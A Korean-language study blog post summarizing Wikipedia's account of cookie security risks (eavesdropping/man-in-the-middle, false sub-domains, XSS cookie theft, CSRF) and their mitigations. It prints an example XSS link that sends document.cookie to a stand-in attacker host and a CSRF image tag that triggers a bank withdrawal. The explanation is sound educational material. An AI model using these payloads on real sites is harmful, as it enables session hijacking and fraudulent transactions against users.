JWT
토큰에 대해 공부하기 위해서 Cookie -> Session -> JWT
순으로 공부해나가던 중
쿠키에 관련된 위키 피디아를 읽다가 쿠키를 사용하면 발생 할 수 있는 문제들에 대해
잘 정리된 글이 있어 정리해보려 한다.
쿠키는 종종 클라이언트와 서버 간 인증 , 인가를 위해 클라이언트의 민감한 정보를
담고 있는 경우가 있다.
민감한 정보를 담고 있는 쿠키가 버젓이 request , response header
내에 담겨서 인터넷을 향유 할 때
쿠키 도둑들이 쿠키만 잘 훔쳐간다면 민감한 정보를 얻는 것 뿐이 아니라 ,
해당 쿠키를 이용해 악용하는 것도 가능하다.
그럼 쿠키 도둑들이 쿠키를 어떻게 훔치거나 , 어떻게 악용할까 ?
Network eavesdropping
네트워크 도청이라고 불리는 이 행위는 주로 어떤 클라이언트가 민감한 내용이 담긴 쿠키를 공개 와이파이와 같은 unencrypted network
를 이용 할 때 일어난다.
보안화가 되지 않은 HTTP
를 이용하는 네트워크에서 민감한 정보가 담긴 쿠키는
기존 서버에서 인코딩을 해두지 않았다면 민감한 정보 그대로 탈취된다. (만일 인코딩을 해뒀더라도 디코딩을 시도 할 수 있다.)
이처럼 보안이 제대로 이뤄지지 않은 네트워크에서 쿠키에 민감한 정보를 담는 것은 man-in-the-middle attack
에 취약하다.
Man in the middle attack 은 두 개 이상의 호스트 간 연결을 주고 받을 때 연결 사이에 존재하여 두 호스트 간의 연결을 탈취하거나 , 변경하는 행위를 의미한다. 예시를 살펴보면 더 명확하게 이해가 된다.
Man in the middle attack
이렇게 보안이 취약한 네트워크에서 민감한 정보가 담긴 쿠키를 전송하지 않도록 Secure
프로퍼티를 설정해줌으로서
HTTPS
통신이 아닌 경우엔 쿠키가 전송되지 않도록 하는 해결 방법이 존재한다.
Publishing false sub-domain
domain
프로퍼티는 설정된 domain
부터 하위 도메인까지의 경로로 Cookie
를 제공한다고 했다.
예를 들어 domain = example.com
으로 지정된 쿠키는
example.com
뿐이 아니라 www.example.com
, www.anything.example.com
등 어떤
하위 도메인에도 모두 쿠키를 제공한다.
이에 쿠키 도둑이 www.example.com
의 클라이언트들의 쿠키를 훔쳐가려고 한다 해보자
쿠키도둑은 DNS server
를 이용해 쿠키 도둑의 컴퓨터를 가리키는 IP
주소를
http://cookietheft.www.example.com/img_4_cookie.jpg
라는 이름으로 변경한 후
www.example.com
의 쿠키를 가지고 있는 사람들이 쿠키 도둑의 해당 이미지를 클릭하는 순간
www.example.com
의 쿠키가 쿠키도둑의 서버로 전송된다.
하위도메인이기 때문이다.
이를 해결하기 위해서는 쿠키가 비교적 안전한 서버인 HTTPS
프로토콜을 이용하는 서버와 통신하도록 하는 Secure
프로퍼티를 켜줄 수 있다.
Cross-site scripting : cookie theft
XSS
라고 불리는 Cross site scripting
은 웹 사이트에서 쿠키도둑이 HTML , Javscript
등의 언어를 이용해 리소스를 만드는 것이 가능하고 그러한 내용들이
따로 필터링이 되지 않는 경우 자주 사용된다.
예를 들어
www.example.com
이란 사이트에서 쿠키도둑이 사용자들에게 다음과 같은 문구를 메시지로 제공했다고 해보자
<a href="#" onclick="window.location = 'http://attacker.com/stole.cgi?text='
+ escape(document.cookie); return false;">Click here!</a>
만일 해당 a
태그를 www.example.com
에 존재하는 사용자가 클릭 할 경우
쿠키 도둑의 서버 측으로 현재 저장되어 있는 document.cookie
가 요청으로 들어가게 될 것이다.
이러한 방법을 방지하기 위해서는 쿠키의 HttpOnly
를 설정해줘 `scripting language
등으로 접근 불가능하게 해야 할 것이다.
Cross-site request forgery (CSRF)
Cross-site request forgery 는 피해자가 의도하지 않았던 요청을 하게 만드는 행위다.
예시를 보면 직관적으로 이해가 되는데
<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">
www.bank.example.com
에서 다음처럼 URL params
를 이용해 요청을 받고
쿠키에 딸려오는 인가 정보를 이용해 요청을 수행한다고 해보자
만약 위와 같은 이미지를 bank.example.com
에 쿠키를 가지고 있는 bob
이 게시글을 작성하는 경우
bob
의 브라우저는 자동으로 해당 src
주소로 GET
요청을 보내게 될 것이다.
이 때 만약 bob
의 컴퓨터에 bank.example.com
에 필요한 인가 정보 쿠키가 남아있다면
꼼짝없이 돈이 mallory
에게 털리게 된다.
와우 추상적으로 쿠키가 털릴 수 있으니 조심히 써야 한다는 이야기는 많이 들었지만
이렇게 예시를 통해 보게 되니 좀 더 명확히 이해가 되는 느낌이다.
위키피디아는 처음 보는데 생각보다 글이 친절하고 좋다.
자주 이용해야겠다.